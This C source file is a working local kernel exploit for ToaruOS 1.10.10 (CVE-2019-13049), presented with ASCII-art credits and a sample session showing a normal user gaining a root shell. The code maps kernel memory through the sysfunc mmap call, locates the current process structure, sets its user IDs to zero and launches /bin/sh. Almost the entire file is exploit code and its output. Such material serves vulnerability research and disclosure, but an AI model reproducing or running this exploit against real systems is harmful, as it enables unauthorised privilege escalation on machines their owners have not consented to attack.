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/*
* The Mickey Mouse Hacking Squadron proudly presents
*
* CVE-2019-13049
*
* ToaruOS 1.10.10 sysfunc local kernel exploit
*
* PART II: THE REVENGE
* Starring
*
* Kay 'Integer Wrap' Lange
* Mickey Mouse
*
*
* .-"""-.
* / . - \
* \ /
* .-""-.,:.-_-.<
* / _; , / ).|
* \ ; / ` `" '\
* '.-| ;-.____, | .,
* \ `._~_/ / /"/
* ,. /`-.__.-'\`-._ ,",' ;
* \"\ / /| o \._ `-._; / ./-.
* ; ';, / / | `__ \ `-.,( / //.-'
* :\ \\;_.-" ; |.-"` ``\ /-. /.-'
* :\ .\),.-' / }{ | '..'
* \ .-\ | , /
* '..' ;' , /
* ( __ `;--;'__`)
* `//'` `||`
* _// ||
* .-"-._,(__) .(__).-""-.
* / \ / \
* \ / \ /
* `'--=="--` `--""==--'`
*
* local@livecd ~$ gcc -Wall kowasu-sysfunc-revenge.c -o kowasu-sysfunc-revenge
* local@livecd ~$ whoami
* local
* local@livecd ~$ ./kowasu-sysfunc-revenge
* [ ] Scanning for 'current_process' symbol...
* symbol: 00122844
* current_process: 0186b010
* [ ] Sanity checking 'process_t' structure...
* getpid(): 103
* current_process->id: 103
* [ ] Spawning self-righteous root shell...
* 0@livecd /home/local# whoami
* root
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/sysfunc.h>
#define KERNEL_SCAN_START (1024U * 1024U)
#define KERNEL_SCAN_END (1024U * 2048U)
/* Partial process structure specifying the members we need. */
struct process
{
pid_t id;
char * name;
char * description;
unsigned int user;
unsigned int real_user;
};
void *memmem(const void *haystack, size_t haystacklen,
const void *needle, size_t needlelen)
{
const unsigned char *p = haystack;
const unsigned char *end = p + haystacklen - needlelen + 1;
for (; p < end; p++) {
size_t i;
for (i = 0; i < needlelen; i++)
if (p[i] != ((unsigned char *)needle)[i])
break;
if (i == needlelen)
return (void *)p;
}
return NULL;
}
void map_pages(void)
{
char *args[] = { (char *)0xFFFFF000, (char *)0x20001000 };
if (sysfunc(TOARU_SYS_FUNC_MMAP, args) < 0) {
perror("sysfunc()");
exit(EXIT_FAILURE);
}
}
void spawn_shell(void)
{
char * const arg[2] = { "sh", NULL };
execve("/bin/sh", arg, NULL);
perror("execve()");
exit(EXIT_FAILURE);
}
int main(void)
{
struct process *current_process;
uintptr_t addr;
pid_t pid;
pid = getpid();
map_pages();
printf("[ ] Scanning for 'current_process' symbol...\n");
for (addr = KERNEL_SCAN_START; addr < KERNEL_SCAN_END; addr += 4096) {
void *p = (void *)addr;
if ( (p = memmem(p, 4096, "current_process", 16))) {
current_process = *((void **)p - 1);
break;
}
}
if (addr >= KERNEL_SCAN_END) {
printf(" not found...\n");
exit(EXIT_FAILURE);
}
printf(" symbol: %p\n", current_process);
current_process = *((void **)current_process);
printf(" current_process: %p\n", current_process);
printf("[ ] Sanity checking 'process_t' structure...\n");
printf(" getpid(): %d\n", pid);
printf(" current_process->id: %d\n", current_process->id);
if (pid != current_process->id) {
printf(" mismatching PID, exiting...\n");
exit(EXIT_FAILURE);
}
printf("[ ] Spawning self-righteous root shell...\n");
current_process->user = 0;
current_process->real_user = 0;
spawn_shell();
}